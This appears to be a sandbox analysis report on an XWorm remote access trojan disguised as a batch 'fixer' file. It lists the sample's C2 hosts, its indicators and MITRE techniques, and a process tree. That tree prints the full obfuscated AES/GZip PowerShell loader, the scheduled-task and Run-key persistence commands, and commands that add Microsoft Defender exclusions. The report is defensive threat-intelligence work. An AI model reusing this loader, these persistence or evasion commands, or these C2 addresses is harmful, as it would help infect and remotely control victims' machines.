xworm | 0682cfbf0f7c1425a627a847a7cfbc9d3c7633d8426b6f7800d81e391528167b

Analysis

max time kernel
1339s
max time network
1161s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
12-11-2024 06:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

NLHybrid Fixer.bat
Size

291KB
MD5

734fdc5c211a7b1fe3a5101c3b0aafd6
SHA1

3d8b84678e674a5b4b49ad4ee4669179d16b75d0
SHA256

0682cfbf0f7c1425a627a847a7cfbc9d3c7633d8426b6f7800d81e391528167b
SHA512

92b2af4e5dbdeefdad102696b8b6d85c10c2885d0e1bfb3d9b94c0ef8e1dafa488f8c8688504b8cb76e244f6abcd3f093e817f5767ae16daed89f80fcbb1db18
SSDEEP

6144:uoiULBMXvSD+eFkX0TupDOYvaktWHHvdTNb71M943xw:uLULBM47FNuNOWaxvH7m43a

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

remote-newest.gl.at.ply.gg:62113

fund-scared.gl.at.ply.gg:62113

Mutex

UrM5eoX12ULh6st6

Attributes

Install_directory
%Userprofile%
install_file
win64updater.exe

aes.plain

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/564-15-0x0000017731E60000-0x0000017731E9E000-memory.dmp	family_xworm
behavioral1/memory/4920-54-0x0000024269390000-0x00000242693A0000-memory.dmp	family_xworm
behavioral1/files/0x002900000004508d-57.dat	family_xworm
behavioral1/memory/408-70-0x0000000000030000-0x0000000000040000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
24	4920	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
564	powershell.exe
3856	powershell.exe
4920	powershell.exe
4988	powershell.exe
4512	powershell.exe
1916	powershell.exe
1756	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3785588363-1079601362-4184885025-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win64updater.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win64updater.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
408	NLHybrid Fixer.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3785588363-1079601362-4184885025-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\win64updater = "C:\\Users\\Admin\\win64updater.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1492	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3785588363-1079601362-4184885025-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1208	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4920	powershell.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
564	powershell.exe
564	powershell.exe
3856	powershell.exe
3856	powershell.exe
4920	powershell.exe
4920	powershell.exe
1756	powershell.exe
1756	powershell.exe
4988	powershell.exe
4988	powershell.exe
4512	powershell.exe
4512	powershell.exe
1916	powershell.exe
1916	powershell.exe
4920	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	564	powershell.exe
Token: SeDebugPrivilege	3856	powershell.exe
Token: SeIncreaseQuotaPrivilege	3856	powershell.exe
Token: SeSecurityPrivilege	3856	powershell.exe
Token: SeTakeOwnershipPrivilege	3856	powershell.exe
Token: SeLoadDriverPrivilege	3856	powershell.exe
Token: SeSystemProfilePrivilege	3856	powershell.exe
Token: SeSystemtimePrivilege	3856	powershell.exe
Token: SeProfSingleProcessPrivilege	3856	powershell.exe
Token: SeIncBasePriorityPrivilege	3856	powershell.exe
Token: SeCreatePagefilePrivilege	3856	powershell.exe
Token: SeBackupPrivilege	3856	powershell.exe
Token: SeRestorePrivilege	3856	powershell.exe
Token: SeShutdownPrivilege	3856	powershell.exe
Token: SeDebugPrivilege	3856	powershell.exe
Token: SeSystemEnvironmentPrivilege	3856	powershell.exe
Token: SeRemoteShutdownPrivilege	3856	powershell.exe
Token: SeUndockPrivilege	3856	powershell.exe
Token: SeManageVolumePrivilege	3856	powershell.exe
Token: 33	3856	powershell.exe
Token: 34	3856	powershell.exe
Token: 35	3856	powershell.exe
Token: 36	3856	powershell.exe
Token: SeIncreaseQuotaPrivilege	3856	powershell.exe
Token: SeSecurityPrivilege	3856	powershell.exe
Token: SeTakeOwnershipPrivilege	3856	powershell.exe
Token: SeLoadDriverPrivilege	3856	powershell.exe
Token: SeSystemProfilePrivilege	3856	powershell.exe
Token: SeSystemtimePrivilege	3856	powershell.exe
Token: SeProfSingleProcessPrivilege	3856	powershell.exe
Token: SeIncBasePriorityPrivilege	3856	powershell.exe
Token: SeCreatePagefilePrivilege	3856	powershell.exe
Token: SeBackupPrivilege	3856	powershell.exe
Token: SeRestorePrivilege	3856	powershell.exe
Token: SeShutdownPrivilege	3856	powershell.exe
Token: SeDebugPrivilege	3856	powershell.exe
Token: SeSystemEnvironmentPrivilege	3856	powershell.exe
Token: SeRemoteShutdownPrivilege	3856	powershell.exe
Token: SeUndockPrivilege	3856	powershell.exe
Token: SeManageVolumePrivilege	3856	powershell.exe
Token: 33	3856	powershell.exe
Token: 34	3856	powershell.exe
Token: 35	3856	powershell.exe
Token: 36	3856	powershell.exe
Token: SeIncreaseQuotaPrivilege	3856	powershell.exe
Token: SeSecurityPrivilege	3856	powershell.exe
Token: SeTakeOwnershipPrivilege	3856	powershell.exe
Token: SeLoadDriverPrivilege	3856	powershell.exe
Token: SeSystemProfilePrivilege	3856	powershell.exe
Token: SeSystemtimePrivilege	3856	powershell.exe
Token: SeProfSingleProcessPrivilege	3856	powershell.exe
Token: SeIncBasePriorityPrivilege	3856	powershell.exe
Token: SeCreatePagefilePrivilege	3856	powershell.exe
Token: SeBackupPrivilege	3856	powershell.exe
Token: SeRestorePrivilege	3856	powershell.exe
Token: SeShutdownPrivilege	3856	powershell.exe
Token: SeDebugPrivilege	3856	powershell.exe
Token: SeSystemEnvironmentPrivilege	3856	powershell.exe
Token: SeRemoteShutdownPrivilege	3856	powershell.exe
Token: SeUndockPrivilege	3856	powershell.exe
Token: SeManageVolumePrivilege	3856	powershell.exe
Token: 33	3856	powershell.exe
Token: 34	3856	powershell.exe
Token: 35	3856	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4920	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 556 wrote to memory of 564	556	cmd.exe	85
PID 556 wrote to memory of 564	556	cmd.exe	85
PID 564 wrote to memory of 3856	564	powershell.exe	86
PID 564 wrote to memory of 3856	564	powershell.exe	86
PID 564 wrote to memory of 1656	564	powershell.exe	91
PID 564 wrote to memory of 1656	564	powershell.exe	91
PID 1656 wrote to memory of 1148	1656	WScript.exe	92
PID 1656 wrote to memory of 1148	1656	WScript.exe	92
PID 1148 wrote to memory of 4920	1148	cmd.exe	95
PID 1148 wrote to memory of 4920	1148	cmd.exe	95
PID 4920 wrote to memory of 408	4920	powershell.exe	96
PID 4920 wrote to memory of 408	4920	powershell.exe	96
PID 4920 wrote to memory of 1756	4920	powershell.exe	98
PID 4920 wrote to memory of 1756	4920	powershell.exe	98
PID 4920 wrote to memory of 4988	4920	powershell.exe	101
PID 4920 wrote to memory of 4988	4920	powershell.exe	101
PID 4920 wrote to memory of 4512	4920	powershell.exe	103
PID 4920 wrote to memory of 4512	4920	powershell.exe	103
PID 4920 wrote to memory of 1916	4920	powershell.exe	107
PID 4920 wrote to memory of 1916	4920	powershell.exe	107
PID 4920 wrote to memory of 1208	4920	powershell.exe	109
PID 4920 wrote to memory of 1208	4920	powershell.exe	109
PID 4920 wrote to memory of 2168	4920	powershell.exe	113
PID 4920 wrote to memory of 2168	4920	powershell.exe	113
PID 4920 wrote to memory of 2592	4920	powershell.exe	115
PID 4920 wrote to memory of 2592	4920	powershell.exe	115
PID 2592 wrote to memory of 1492	2592	cmd.exe	117
PID 2592 wrote to memory of 1492	2592	cmd.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('15dPngye8xc2zrvtzV/w74aCqiEwBCPIQU+QvJpDDdI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rYfQCcxwv9En0wj3TE+fMw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $AIFyt=New-Object System.IO.MemoryStream(,$param_var); $lMkeE=New-Object System.IO.MemoryStream; $SZECh=New-Object System.IO.Compression.GZipStream($AIFyt, [IO.Compression.CompressionMode]::Decompress); $SZECh.CopyTo($lMkeE); $SZECh.Dispose(); $AIFyt.Dispose(); $lMkeE.Dispose(); $lMkeE.ToArray();}function execute_function($param_var,$param2_var){ $tWijb=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZXwwn=$tWijb.EntryPoint; $ZXwwn.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.bat';$GwBNZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.bat').Split([Environment]::NewLine);foreach ($aCkBV in $GwBNZ) { if ($aCkBV.StartsWith(':: ')) { $ggoTJ=$aCkBV.Substring(3); break; }}$payloads_var=[string[]]$ggoTJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_912_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_912.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3856
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_912.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1656
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_912.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1148
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('15dPngye8xc2zrvtzV/w74aCqiEwBCPIQU+QvJpDDdI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rYfQCcxwv9En0wj3TE+fMw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $AIFyt=New-Object System.IO.MemoryStream(,$param_var); $lMkeE=New-Object System.IO.MemoryStream; $SZECh=New-Object System.IO.Compression.GZipStream($AIFyt, [IO.Compression.CompressionMode]::Decompress); $SZECh.CopyTo($lMkeE); $SZECh.Dispose(); $AIFyt.Dispose(); $lMkeE.Dispose(); $lMkeE.ToArray();}function execute_function($param_var,$param2_var){ $tWijb=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZXwwn=$tWijb.EntryPoint; $ZXwwn.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_912.bat';$GwBNZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_912.bat').Split([Environment]::NewLine);foreach ($aCkBV in $GwBNZ) { if ($aCkBV.StartsWith(':: ')) { $ggoTJ=$aCkBV.Substring(3); break; }}$payloads_var=[string[]]$ggoTJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4920
      - C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.exe"
        6⤵
        Executes dropped EXE
        
        PID:408
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1756
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4988
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\win64updater.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4512
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'win64updater.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1916
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "win64updater" /tr "C:\Users\Admin\win64updater.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1208
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /delete /f /tn "win64updater"
        6⤵
        
        PID:2168
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF676.tmp.bat""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2592
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        7⤵
        Delays execution with timeout.exe
        
        PID:1492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3f2f758653c2f4563394d18aba36684e

SHA1
282a04424cebb1fca531d1232bb83466429e9e7d

SHA256
f0e099dc730384a3063075893323f3cc51b617819865239902911a58e19428ea

SHA512
3af0a8f7c4049f1e86ca89f15358b9b4065f9848401916af6b1f1b91a15dca71d31ed9b491856d7d88c3622e27992061bf38f5174c31bb51fca79d110599c611

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
32be9b13143c056a85df7bf948ae4778

SHA1
36baf529bc3a034344d8d2fe2d82c814c53e8b6c

SHA256
f896b3276cb29751b872e4e37e970a87be7be09b0986331b36a0d8a431a144a5

SHA512
6cdf4448008f8a2903857e173e87af20ca0e5169c7da477c3eb4d2549b82d588550951b2edc7478d4efacbea7414f89d67b0fa841c26c81df7286f0d4c5798a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c675f5b98b62f8b658bff396ad043232

SHA1
235e4fac41dace14246a4ac60aab93b204d39194

SHA256
01d3d2f21d4a10517c109c33266fb1883a69d3e69044af66d843f7c80f8c6ec2

SHA512
88bafc336899c24a9e320c1af0038de8a7b9e63dbd89cdacb9557130bdb46d6b24a9b08826a918c40cd07c0211073c7003994b9a33964b14faddff42f2ff9429

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f0b4c753070e7ae6269b0706626942e3

SHA1
201236b71ef5dd72b224d9d1dcc96ef6c20cdbd9

SHA256
0779424800c7c6d0f29de4125f183ff463d14c110e74c976defb93cd302703e2

SHA512
9834d4f27f3be7e308b2802f55b792ee73cc0750d3af6be94e0da180b68a03214d0864f738a6f6436d430b2e3add83067aca6b30eb71268552a9f4272b21a420

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
26c94c408a5a2e1e04f1191fc2902d3e

SHA1
ce50b153be03511bd62a477abf71a7e9f94e68a5

SHA256
86ad00a425874b935cc725f83780add09d08d7dc9cbfb705821955fe937c05ec

SHA512
70e7bc620b369d7d0fcf06f93da000819bf089a502f1014641ad14d56ead22f31c25b97363296fd3749c63bde6db3bf115b33504b160485d792e1331c337b586

Download Submit
C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.exe

Filesize
42KB

MD5
269085c7755574a5cd840b298a0b4a55

SHA1
3b20a9f3c0e5ed34d37c5c915c07fd93da7d7cbd

SHA256
ee94f31406ba029502b3737f9d2c2d2d22448643deaa3095239a55b58b9169c8

SHA512
47b5782e53cf03bb5eb8f96584b9e0608bc10038b8721761bf67af75ed0b77a2e51ef94a9d62302e6e0d45885e72d47b80815caa8c063a616d50b646885b5f65

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uuo3k1vn.ppm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpF676.tmp.bat

Filesize
171B

MD5
5e906dc53882f582d343a5f87ec5d826

SHA1
122ebac69682daa585617ed8329e531b9e40b641

SHA256
8fe3f821e31ce1ec7b42f7f97165a5c761075e96250e21163eb0caec1aa6c046

SHA512
fddb17aaef9b6ac44b105651b85e70e9de0027422006af17766f8ffd83532c4641499bd2d3bba367fc10c36e73969f5cc53865bbbe86984f0f283211cbfd9c9a

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_912.vbs

Filesize
115B

MD5
175581b72bf9c75f538001f6e9cdc1cc

SHA1
93889f026186aa5d45a18d572cdd8139c929adf1

SHA256
3bc02559d00362aaa66fb44cb9f912d7202584dc40618d11a25967f39a83b5e1

SHA512
4fba99631fc3b3b797bd85a2c11ad4fd9f0286dfa927939af6dc9b66f215874b0b57984b3963594a01b243280a805254a5fe9cdb0ba0db519f728cd7f2b6ce81

Download Submit
memory/408-70-0x0000000000030000-0x0000000000040000-memory.dmp

Filesize
64KB

Download
memory/564-65-0x00007FFFBBE23000-0x00007FFFBBE25000-memory.dmp

Filesize
8KB

Download
memory/564-71-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

Filesize
10.8MB

Download
memory/564-1-0x0000017731BE0000-0x0000017731C02000-memory.dmp

Filesize
136KB

Download
memory/564-11-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

Filesize
10.8MB

Download
memory/564-12-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

Filesize
10.8MB

Download
memory/564-13-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

Filesize
10.8MB

Download
memory/564-14-0x0000017731E50000-0x0000017731E58000-memory.dmp

Filesize
32KB

Download
memory/564-0-0x00007FFFBBE23000-0x00007FFFBBE25000-memory.dmp

Filesize
8KB

Download
memory/564-69-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

Filesize
10.8MB

Download
memory/564-15-0x0000017731E60000-0x0000017731E9E000-memory.dmp

Filesize
248KB

Download
memory/3856-32-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

Filesize
10.8MB

Download
memory/3856-17-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

Filesize
10.8MB

Download
memory/3856-27-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

Filesize
10.8MB

Download
memory/3856-28-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

Filesize
10.8MB

Download
memory/3856-29-0x00007FFFBBE20000-0x00007FFFBC8E2000-memory.dmp

Filesize
10.8MB

Download
memory/4920-54-0x0000024269390000-0x00000242693A0000-memory.dmp

Filesize
64KB

Download